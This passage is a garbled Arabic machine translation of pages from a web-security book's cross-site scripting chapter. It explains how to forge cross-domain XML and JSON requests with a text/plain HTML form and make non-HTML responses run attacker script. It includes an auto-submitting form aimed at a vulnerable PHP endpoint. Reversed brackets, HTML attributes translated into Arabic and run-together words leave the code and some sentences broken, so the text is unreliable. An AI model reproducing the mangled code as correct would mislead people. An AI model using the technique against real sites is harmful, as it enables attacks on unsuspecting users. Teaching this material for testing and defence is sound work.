‫ﺗﺴﺘﺨﺪﻡﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻴﻮﻡ ﺍﻟﻤﻌﻘﺪﺓ ﺑﺸﻜﻞ ﻣﺘﺰﺍﻳﺪ ﻃﻠﺒﺎﺕ ‪ Ajax‬ﺍﻟﺘﻲ ﻻ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﻌﻠﻤﺎﺕ ﻃﻠﺐ‬
‫ﺗﻘﻠﻴﺪﻳﺔ‪.‬ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ‪ ،‬ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﺤﺘﻮﻱ ﺍﻟﻄﻠﺒﺎﺕ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ﺑﺘﻨﺴﻴﻘﺎﺕ ﻣﺜﻞ ‪ XML‬ﻭ‪ ،JSON‬ﺃﻭ‬
‫ﺗﺴﺘﺨﺪﻡﺃﻧﻈﻤﺔ ﺗﺴﻠﺴﻞ ﻣﺨﺘﻠﻔﺔ‪ .‬ﻭﺑﺎﻟﺘﺎﻟﻲ‪ ،‬ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﺤﺘﻮﻱ ﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﻟﻬﺬﻩ ﺍﻟﻄﻠﺒﺎﺕ ﻋﻠﻰ‬
‫ﺑﻴﺎﻧﺎﺕﺑﺘﻨﺴﻴﻖ ﻣﻤﺎﺛﻞ ﺃﻭ ﺑﺘﻨﺴﻴﻖ ﺁﺧﺮ‪ ،‬ﺑﺪﻻ ًﻣﻦ ‪.HTML‬‬

‫ﻏﺎﻟﺒﺎًﻣﺎ ﺗﻈُﻬﺮ ﻭﻇﺎﺉﻒ ﺍﻟﺨﺎﺩﻡ ﺍﻟﻤﺴُﺘﺨﺪﻣﺔ ﻓﻲ ﻫﺬﻩ ﺍﻟﻄﻠﺒﺎﺕ ﻭﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﺳﻠﻮﻛﺎً ﻣﺸﺎﺑﻬ ًﺎ‬
‫ﻟﻬﺠﻤﺎﺕ‪ .XSS‬ﺗﺮُﺟﻊ ﺣﻤﻮﻻﺕ ﺍﻟﻄﻠﺒﺎﺕ‪ ،‬ﺍﻟﺘﻲ ﻋﺎﺩﺓ ًﻣﺎ ﺗﺸُﻴﺮ ﺇﻟﻰ ﻭﺟﻮﺩ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ‪ ،‬ﺩﻭﻥ ﺗﻌﺪﻳﻞ ﻣﻦ‬
‫ﻗﺒِﻞﺍﻟﺘﻄﺒﻴﻖ‪.‬‬
‫ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻻ ﻳﺰﺍﻝ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﻐﻼﻝ ﻫﺬﺍ ﺍﻟﺴﻠﻮﻙ ﻟﺸﻦ ﻫﺠﻮﻡ ‪ .XSS‬ﻟﻠﻘﻴﺎﻡ ﺑﺬﻟﻚ‪،‬‬
‫ﻋﻠﻴﻚﻣﻮﺍﺟﻬﺔ ﺗﺤﺪﻳﻴﻦ ﻣﺨﺘﻠﻔﻴﻦ‪:‬‬
‫ﻳﺠﺐﻋﻠﻴﻚ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻭﺳﻴﻠﺔ ﺗﺠﻌﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻀﺤﻴﺔ ﻳﻘﻮﻡ ﺑﺈﺟﺮﺍء ﺍﻟﻄﻠﺐ ﺍﻟﻼﺯﻡ ﻋﺒﺮ‬ ‫‪-‬‬

‫ﺍﻟﻨﻄﺎﻕ‪.‬‬
‫ﻳﺠﺐﻋﻠﻴﻚ ﺇﻳﺠﺎﺩ ﻃﺮﻳﻘﺔ ﻟﻠﺘﻼﻋﺐ ﺑﺎﻻﺳﺘﺠﺎﺑﺔ ﺑﺤﻴﺚ ﻳﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺎﺹ‬ ‫‪-‬‬

‫ﺑﻚﻋﻨﺪ ﺍﺳﺘﻬﻼﻛﻪ ﺑﻮﺍﺳﻄﺔ ﺍﻟﻤﺘﺼﻔﺢ‪.‬‬


‫ﻻﻳﻌُﺪ ﺃﻱ ٌّﻣﻦ ﻫﺬﻳﻦ ﺍﻟﺘﺤﺪﻳﻴﻦ ﺗﺎﻓﻬﺎً‪ .‬ﺃﻭﻻً‪ ،‬ﻋﺎﺩﺓ ًﻣﺎ ﺗﺮُﺳﻞَ ﺍﻟﻄﻠﺒﺎﺕ ﺍﻟﻤﻌﻨﻴﺔ ﻣﻦ ‪JavaScript‬‬
‫ﺑﺎﺳﺘﺨﺪﺍﻡﻃﻠﺐ ‪) XMLHttp‬ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ ‪ .(3‬ﺍﻓﺘﺮﺍﺿﻴﺎً‪ ،‬ﻻ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﺍ ﻹﺭﺳﺎﻝ ﻃﻠﺒﺎﺕ ﻋﺒﺮ‬
‫ﺍﻟﻨﻄﺎﻗﺎﺕ‪.‬ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦﻃﻠﺐ ‪XMLHttp‬‬
‫ﻳﺘﻢﺗﻌﺪﻳﻞ ‪ HTML5‬ﻟﻠﺴﻤﺎﺡ ﻟﻠﻤﻮﺍﻗﻊ ﺑﺘﺤﺪﻳﺪ ﺍﻟﻤﺠﺎﻻﺕ ﺍﻷﺧﺮﻯ ﺍﻟﺘﻲ ﻗﺪ ﺗﺘﻔﺎﻋﻞ ﻣﻌﻬﺎ‪ ،‬ﺇﺫﺍ ﻭﺟﺪﺕ‬
‫ﻫﺪﻓﺎًﻳﺴﻤﺢ ﺑﺎﻟﺘﻔﺎﻋﻞ ﻣﻊ ﻃﺮﻑ ﺛﺎﻟﺚ‪ ،‬ﻓﻤﻦ ﺍﻟﻤﺤﺘﻤﻞ ﺃﻥ ﺗﻜﻮﻥ ﻫﻨﺎﻙ ﻃﺮﻕ ﺃﺑﺴﻂ ﻳﻤﻜﻨﻚ ﻣﻦ‬
‫ﺧﻼﻟﻬﺎﺍﺧﺘﺮﺍﻗﻪ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ ‪.(13‬‬
‫ﺛﺎﻧﻴﺎً‪،‬ﻓﻲ ﺃﻱ ﻫﺠﻮﻡ‪ ،‬ﺳﻴﺘﻢ ﺍﺳﺘﻬﻼﻙ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺍﻟﻤﻌُﺎﺩﺓ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺒﺎﺷﺮﺓ ًﺑﻮﺍﺳﻄﺔ ﻣﺘﺼﻔﺢ‬
‫ﺍﻟﻀﺤﻴﺔ‪،‬ﻭﻟﻴﺲ ﺑﻮﺍﺳﻄﺔ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﻤﺨُﺼﺺ ﺍﻟﺬﻱ ﻳﻌُﺎﻟﺠﻬﺎ ﻓﻲ ﺳﻴﺎﻗﻬﺎ ﺍﻷﺻﻠﻲ‪ .‬ﺳﺘﺤﺘﻮﻱ‬
‫ﺍﻻﺳﺘﺠﺎﺑﺔﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ﺑﺄﻱ ﺻﻴﻐﺔ ﻏﻴﺮ ‪ HTML‬ﻣﺴُﺘﺨﺪﻣﺔ‪ ،‬ﻋﺎﺩﺓ ًﻣﻊ ﺍﻻﻣﺘﺪﺍﺩ ﺍﻟﻤﻘﺎﺑﻞ‪.‬ﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯ‬
‫ﻓﻲﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻳﻌﺎﻟﺞ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻌﺘﺎﺩﺓ ﻟﻬﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ )ﺇﺫﺍ ﺗﻢ‬
‫ﺍﻟﺘﻌﺮﻑﻋﻠﻴﻪ(‪ ،‬ﻭﻗﺪ ﻻ ﺗﻜﻮﻥ ﺍﻟﻄﺮﻕ ﺍﻟﻤﻌﺘﺎﺩﺓ ﻹﺩﺧﺎﻝ ﻛﻮﺩ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻋﺒﺮ ‪ HTML‬ﺫﺍﺕ ﺻﻠﺔ‪.‬‬

‫ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺳﻬﻮﻟﺔ ﻫﺬﻩ ﺍﻟﺘﺤﺪﻳﺎﺕ‪ ،‬ﺇﻻ ﺃﻧﻪ ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ﻳﻤﻜﻦ ﺍﻟﺘﻐﻠﺐ ﻋﻠﻴﻬﺎ‪ ،‬ﻣﻤﺎ‬
‫ﻳﺴﻤﺢﺑﺎﺳﺘﻐﻼﻝ ﺳﻠﻮﻛﻴﺎﺕ ‪ XSS‬ﺍﻟﺸﺒﻴﻬﺔ ﺑﻬﺠﻤﺎﺕ ‪ XSS‬ﻟﺸﻦ ﻫﺠﻮﻡ ﻓﻌﺎﻝ‪ .‬ﺳﻨﺪﺭﺱ ﻛﻴﻔﻴﺔ ﺍﻟﻘﻴﺎﻡ‬
‫ﺑﺬﻟﻚﺑﺎﺳﺘﺨﺪﺍﻡ ﺻﻴﻐﺔ ﺑﻴﺎﻧﺎﺕ ‪ XML‬ﻛﻤﺜﺎﻝ‪.‬‬
‫‪477‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺇﺭﺳﺎﻝﻃﻠﺒﺎﺕ ‪ XML‬ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ‬


‫ﻣﻦﺍﻟﻤﻤﻜﻦ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ ﻋﺸﻮﺍﺉﻴﺔ ﺗﻘﺮﻳﺒﺎً ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﺩﺍﺧﻞ ﻧﺺ ﻃﻠﺐ ‪ HTTP‬ﺑﺎﺳﺘﺨﺪﺍﻡ‬
‫ﻧﻤﻮﺫﺝ‪ HTML‬ﻣﻊﺍﻟﻨﻤﻂ ﺍﻟﻤﺘﻤﺎﺛﻞﻣﺠﻤﻮﻋﺔ ﺍﻟﺴﻤﺎﺕ ﺇﻟﻰﻧﺺ‪/‬ﻋﺎﺩﻱ‪.‬ﻳﺨﺒﺮ ﻫﺬﺍ ﺍﻟﻤﺘﺼﻔﺢ ﺑﺎﻟﺘﻌﺎﻣﻞ ﻣﻊ‬
‫ﻣﻌﻠﻤﺎﺕﺍﻟﻨﻤﻮﺫﺝ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬
‫ﺇﺭﺳﺎﻝﻛﻞ ﻣﻌﻠﻤﺔ ﻋﻠﻰ ﺳﻄﺮ ﻣﻨﻔﺼﻞ ﺿﻤﻦ ﺍﻟﻄﻠﺐ‪.‬‬ ‫‪-‬‬

‫ﺍﺳﺘﺨﺪﻡﻋﻼﻣﺔ ﺍﻟﻤﺴﺎﻭﺍﺓ ﻟﻔﺼﻞ ﺍﺳﻢ ﻭﻗﻴﻤﺔ ﻛﻞ ﻣﻌﻠﻤﺔ )ﻛﻤﺎ ﻫﻮ ﺍﻟﺤﺎﻝ ﻋﺎﺩﺓ(‪.‬‬ ‫‪-‬‬

‫ﻻﺗﻘﻢ ﺑﺈﺟﺮﺍء ﺃﻱ ﺗﺸﻔﻴﺮ ‪ URL‬ﻷﺳﻤﺎء ﺍﻟﻤﻌﻠﻤﺎﺕ ﺃﻭ ﺍﻟﻘﻴﻢ‪.‬‬ ‫‪-‬‬

‫ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻻ ﺗﺤﺘﺮﻡ ﻫﺬﻩ ﺍﻟﻤﻮﺍﺻﻔﺎﺕ‪ ،‬ﺇﻻ ﺃﻧﻬﺎ ﺗﺤﺘﺮﻣﻬﺎ ﺑﺸﻜﻞ‬
‫ﺻﺤﻴﺢﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺎﻟﻴﺔ ﻣﻦ ‪ Internet Explorer‬ﻭ‪ Firefox‬ﻭ‪.Opera‬‬
‫ﻳﻌﻨﻲﺍﻟﺴﻠﻮﻙ ﺍﻟﻤﻮﺻﻮﻑ ﺃﻧﻪ ﻳﻤﻜﻨﻚ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ ﻋﺸﻮﺍﺉﻴﺔ ﻓﻲ ﻧﺺ ﺍﻟﺮﺳﺎﻟﺔ‪ ،‬ﺷﺮﻳﻄﺔ ﻭﺟﻮﺩ‬
‫ﻋﻼﻣﺔﻳﺴﺎﻭﻱ ﻭﺍﺣﺪﺓ ﻋﻠﻰ ﺍﻷﻗﻞ ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﺩﺍﺧﻞ ﺍﻟﺒﻴﺎﻧﺎﺕ‪ .‬ﻟﻠﻘﻴﺎﻡ ﺑﺬﻟﻚ‪ ،‬ﻗﺴﻢّ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺇﻟﻰ‬
‫ﺟﺰﺃﻳﻦ‪،‬ﻗﺒﻞ ﻋﻼﻣﺔ ﺍﻟﺘﺴﺎﻭﻱ ﻭﺑﻌﺪﻫﺎ‪ .‬ﺿﻊ ﺍﻟﺠﺰء ﺍﻷﻭﻝ ﻓﻲ ﺍﺳﻢ ﺍﻟﻤﻌﻠﻤﺔ‪ ،‬ﻭﺍﻟﺠﺰء ﺍﻟﺜﺎﻧﻲ ﻓﻲ ﻗﻴﻤﺔ‬
‫ﺍﻟﻤﻌﻠﻤﺔ‪.‬ﻋﻨﺪﻣﺎ ﻳﻨُﺸﺊ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﻄﻠﺐ‪ ،‬ﻳﺮُﺳﻞ ﺍﻟﺠﺰﺃﻳﻦ ﻣﻔﺼﻮﻟﻴﻦ ﺑﻌﻼﻣﺔ ﻳﺴﺎﻭﻱ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ‬
‫ﻳﻨُﺸﺊﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻄﻠﻮﺑﺔ ﺑﺪﻗﺔ‪.‬‬

‫ﻧﻈﺮﺍًﻷﻥ ‪ XML‬ﻳﺤﺘﻮﻱ ﺩﺍﺉﻤﺎً ﻋﻠﻰ ﻋﻼﻣﺔ ﻳﺴﺎﻭﻱ ﻭﺍﺣﺪﺓ ﻋﻠﻰ ﺍﻷﻗﻞ‪ ،‬ﻓﻲﺇﺻﺪﺍﺭﺳﻤﺔ ﻋﻼﻣﺔ ‪XML‬‬
‫ﺍﻻﻓﺘﺘﺎﺣﻴﺔ‪،‬ﻳﻤﻜﻨﻨﺎ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻹﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ ‪ XML‬ﻋﺸﻮﺍﺉﻴﺔ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﻓﻲ ﻧﺺ‬
‫ﺍﻟﺮﺳﺎﻟﺔ‪.‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺇﺫﺍ ﻛﺎﻧﺖ ﺑﻴﺎﻧﺎﺕ ‪ XML‬ﺍﻟﻤﻄﻠﻮﺑﺔ ﻛﻤﺎ ﻳﻠﻲ‪:‬‬

‫<‪>?xml version=”1.0”?<>data<>param<foo>/param<>/data‬‬

‫ﻳﻤﻜﻨﻨﺎﺇﺭﺳﺎﻝ ﻫﺬﺍ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﻨﻤﻮﺫﺝ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫<”‪>form enctype=”text/plain” action=”http://wahh-app.com/ vuln.php” method=”POST‬‬

‫>ﻧﻮﻉ ﺍﻹﺩﺧﺎﻝ=”ﻣﺨﻔﻲ” ﺍﻻﺳﻢ='ﺇﺻﺪﺍﺭ >?‪'xml‬ﺍﻟﻘﻴﻤﺔ='"‪"1.0‬؟<>‪/data‬‬


‫><‪<'<data<>param<foo>/param‬‬
‫<‪>/form<>script<document.forms]0[.submit)(;>/script‬‬

‫ﻟﺘﻀﻤﻴﻦﺃﺣﺮﻑ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺸﺎﺉﻌﺔ ﺿﻤﻦ ﻗﻴﻤﺔﺍﻟﻤﻌﻠﻤﺔﻣﻌﻠﻤﺎﺕ‪ ،‬ﻣﺜﻞ ﺃﻗﻮﺍﺱ ﺯﺍﻭﻳﺔ ﺍﻟﻮﺳﻮﻡ‪،‬‬


‫ﻳﺠﺐﺗﺮﻣﻴﺰﻫﺎ ﺑﺼﻴﻐﺔ ‪ HTML‬ﺿﻤﻦ ﻃﻠﺐ ‪ .XML‬ﻟﺬﻟﻚ‪ ،‬ﻳﺠﺐ ﺃﻥ ﺗﻜﻮﻥﻣﺰﺩﻭﺝﻣﺮُﻣﺰَّ ﺑـ ‪HTML‬‬
‫ﺩﺍﺧﻞﻧﻤﻮﺫﺝ ‪ HTML‬ﺍﻟﺬﻱ ﻳﻮُﻟﺪِّ ﻫﺬﺍ ﺍﻟﻄﻠﺐ‪.‬‬

‫ﻧﺼﻴﺤﺔﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻹﺭﺳﺎﻝ ﻃﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻱ ﻧﻮﻉ ﻣﻦ‬
‫ﺍﻟﻤﺤﺘﻮﻯﺗﻘﺮﻳﺒﺎً‪ ،‬ﻣﺜﻞ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﺮُﻣﺰَّﺓ ﺑﺘﻨﺴﻴﻖ ‪ JSON‬ﻭﺍﻟﻜﺎﺉﻨﺎﺕ ﺍﻟﺜﻨﺎﺉﻴﺔ ﺍﻟﻤﺴُﻠﺴﻠﺔ‪ ،‬ﺷﺮﻳﻄﺔ‬
‫ﺃﻥﺗﺘﻤﻜﻦ ﻣﻦ ﺗﻀﻤﻴﻦ ﻋﻼﻣﺔ ﺍﻟﺘﺴﺎﻭﻱ ﻓﻲ ﻣﻜﺎﻥ ﻣﺎ ﺩﺍﺧﻞ ﺍﻟﻄﻠﺐ‪ .‬ﻋﺎﺩﺓ ًﻣﺎ ﻳﻜﻮﻥ ﺫﻟﻚ ﻣﻤﻜﻨﺎً‬
‫ﺑﺘﻌﺪﻳﻞﺣﻘﻞ ﻧﺼﻲ ﺣﺮ ﺩﺍﺧﻞ ﺍﻟﻄﻠﺐ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻋﻼﻣﺔ ﺍﻟﺘﺴﺎﻭﻱ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻓﻲ ﺑﻴﺎﻧﺎﺕ‬
‫‪ JSON‬ﺍﻟﺘﺎﻟﻴﺔ‪ ،‬ﻳﺴُﺘﺨﺪﻡ ﺣﻘﻞ ﺍﻟﺘﻌﻠﻴﻖ ﻹﺿﺎﻓﺔ ﻋﻼﻣﺔ ﺍﻟﺘﺴﺎﻭﻱ ﺍﻟﻤﻄﻠﻮﺑﺔ‪:‬‬

‫} "ﺍﻻﺳﻢ"‪" :‬ﺟﻮﻥ"‪" ،‬ﺍﻟﺒﺮﻳﺪ ﺍﻹﻟﻜﺘﺮﻭﻧﻲ"‪" ،" gomad@diet.com " :‬ﺍﻟﺘﻌﻠﻴﻖ"‪{ "=" :‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪478‬‬

‫ﺍﻟﺘﺤﺬﻳﺮﺍﻟﻤﻬﻢ ﺍﻟﻮﺣﻴﺪ ﻻﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻫﻮ ﺃﻥ ﺍﻟﻄﻠﺐ ﺍﻟﻨﺎﺗﺞ ﺳﻴﺤﺘﻮﻱ ﻋﻠﻰ ﺍﻟﻌﻨﻮﺍﻥ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯ‪ :‬ﻧﺺ‪/‬ﻋﺎﺩﻱ‬

‫ﻛﺎﻥﺍﻟﻄﻠﺐ ﺍﻷﺻﻠﻲ ﻋﺎﺩﺓ ًﻳﺘﻀﻤﻦ ﻃﻠﺒﺎً ﻣﺨﺘﻠﻔﺎًﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯ‬


‫ﺍﻟﺮﺃﺱ‪،‬ﺣﺴﺐ ﻛﻴﻔﻴﺔ ﺇﻧﺸﺎﺉﻪ‪ .‬ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﺘﻘﺒﻞ ﺍﻟﻌﻨﻮﺍﻥ ﺍﻟﻤﻘُﺪﻡّﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻌﻨﻮﺍﻥ‬
‫ﻳﻌﺎﻟﺞﻧﺺ ﺍﻟﺮﺳﺎﻟﺔ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻌﺘﺎﺩﺓ‪ ،‬ﻓﻴﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﺑﻨﺠﺎﺡ ﻋﻨﺪ ﻣﺤﺎﻭﻟﺔ ﺗﻄﻮﻳﺮ‬
‫ﺛﻐﺮﺓ‪ XSS‬ﻓﻌﺎﻟﺔ‪ .‬ﺇﺫﺍ ﻓﺸﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻓﻲ ﻣﻌﺎﻟﺠﺔ ﺍﻟﻄﻠﺐ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻌﺘﺎﺩﺓ‪ ،‬ﺑﺴﺒﺐ ﺍﻟﺘﻌﺪﻳﻞﻧﻮﻉ‬
‫ﺍﻟﻤﺤﺘﻮﻯﺍﻟﺮﺃﺱ‪ ،‬ﻗﺪ ﻻ ﻳﻜﻮﻥ ﻫﻨﺎﻙ ﻃﺮﻳﻘﺔ ﻹﺭﺳﺎﻝ ﻃﻠﺐ ﻣﻨﺎﺳﺐ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻕ ﻟﺘﺤﻔﻴﺰ ﺳﻠﻮﻙ ﻳﺸﺒﻪ‬
‫ﺳﻠﻮﻙ‪.XSS‬‬

‫ﻧﺼﻴﺤﺔﺇﺫﺍ ﺣﺪﺩﺕ ﺳﻠﻮﻛﺎً ﻳﺸﺒﻪ ﺳﻠﻮﻙ ‪ XSS‬ﻓﻲ ﻃﻠﺐ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺤﺘﻮﻯ ﻏﻴﺮ ﻗﻴﺎﺳﻲ‪ ،‬ﻓﺈﻥ‬
‫ﺃﻭﻝﺷﻲء ﻳﺠﺐ ﻋﻠﻴﻚ ﻓﻌﻠﻪ ﻫﻮ ﺍﻟﺘﺤﻘﻖ ﺑﺴﺮﻋﺔ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﺴﻠﻮﻙ ﻻ ﻳﺰﺍﻝ ﻣﻮﺟﻮﺩﺍً ﻋﻨﺪ ﺗﻐﻴﻴﺮ‬
‫ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯﺭﺃﺱ ﺍﻟﺼﻔﺤﺔ ﺇﻟﻰﻧﺺ‪/‬ﻋﺎﺩﻱ‪.‬ﺇﺫﺍ ﻟﻢ ﻳﺤﺪﺙ ﺫﻟﻚ‪ ،‬ﻓﻘﺪ ﻻ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻔﻴﺪ ﺑﺬﻝ ﺃﻱ‬
‫ﺟﻬﺪﺇﺿﺎﻓﻲ ﻓﻲ ﻣﺤﺎﻭﻟﺔ ﺗﻄﻮﻳﺮ ﺍﺳﺘﻐﻼﻝ ‪ XSS‬ﻓﻌﺎﻝ‪.‬‬

‫ﺗﻨﻔﻴﺬ‪ JavaScript‬ﻣﻦ ﺩﺍﺧﻞ ﺍﺳﺘﺠﺎﺑﺎﺕ ‪XML‬‬


‫ﺍﻟﺘﺤﺪﻱﺍﻟﺜﺎﻧﻲ ﺍﻟﺬﻱ ﻳﺠﺐ ﺍﻟﺘﻐﻠﺐ ﻋﻠﻴﻪ ﻋﻨﺪ ﻣﺤﺎﻭﻟﺔ ﺍﺳﺘﻐﻼﻝ ﺳﻠﻮﻛﻴﺎﺕ ﻣﺸﺎﺑﻬﺔ ﻟـ ‪ XSS‬ﻓﻲ‬
‫ﻣﺤﺘﻮﻯﻏﻴﺮ ﻗﻴﺎﺳﻲ ﻫﻮ ﺇﻳﺠﺎﺩ ﻃﺮﻳﻘﺔ ﻟﻠﺘﻼﻋﺐ ﺑﺎﻻﺳﺘﺠﺎﺑﺔ ﺑﺤﻴﺚ ﺗﻨُﻔﺬّ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺎﺹ ﺑﻚ‬
‫ﻋﻨﺪﺍﺳﺘﺨﺪﺍﻣﻪ ﻣﺒﺎﺷﺮﺓ ًﺑﻮﺍﺳﻄﺔ ﺍﻟﻤﺘﺼﻔﺢ‪ .‬ﺇﺫﺍ ﺍﺣﺘﻮﺕ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻋﻠﻰ ﺧﻄﺄﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﺇﺫﺍ ﻟﻢ ﻳﻜﻦ‬
‫ﻟﺪﻳﻚﺭﺃﺱ‪ ،‬ﺃﻭ ﻻ ﺷﻲء ﻋﻠﻰ ﺍﻹﻃﻼﻕ‪ ،‬ﺃﻭ ﺇﺫﺍ ﻛﺎﻥ ﺇﺩﺧﺎﻟﻚ ﻳﻨﻌﻜﺲ ﻣﺒﺎﺷﺮﺓ ﻓﻲ ﺑﺪﺍﻳﺔ ﻧﺺ‬
‫ﺍﻻﺳﺘﺠﺎﺑﺔ‪،‬ﻓﻘﺪ ﺗﻜﻮﻥ ﻫﺬﻩ ﺍﻟﻤﻬﻤﺔ ﻭﺍﺿﺤﺔ‪.‬‬

‫ﻭﻣﻊﺫﻟﻚ‪ ،‬ﻋﺎﺩﺓ ﻣﺎ ﺗﺘﻀﻤﻦ ﺍﻻﺳﺘﺠﺎﺑﺔﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﺭﺃﺱ ﻳﺼﻒ ﺑﺪﻗﺔ ﻧﻮﻉ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﻳﻌُﻴﺪﻫﺎ‬
‫ﺍﻟﺘﻄﺒﻴﻖ‪.‬ﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﻋﺎﺩﺓ ًﻣﺎ ﻳﻌُﻜﺲ ﻣﺪُﺧﻠﻚ ﻓﻲ ﻣﻨﺘﺼﻒ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ ،‬ﻭﺳﻴﺤﺘﻮﻱ ﺍﻟﺠﺰء‬
‫ﺍﻷﻛﺒﺮﻣﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻗﺒﻞ ﻫﺬﻩ ﺍﻟﻨﻘﻄﺔ ﻭﺑﻌﺪﻫﺎ ﻋﻠﻰ ﺑﻴﺎﻧﺎﺕ ﺗﺘﻮﺍﻓﻖ ﻣﻊ ﺍﻟﻤﻮﺍﺻﻔﺎﺕ ﺫﺍﺕ ﺍﻟﺼﻠﺔ‬
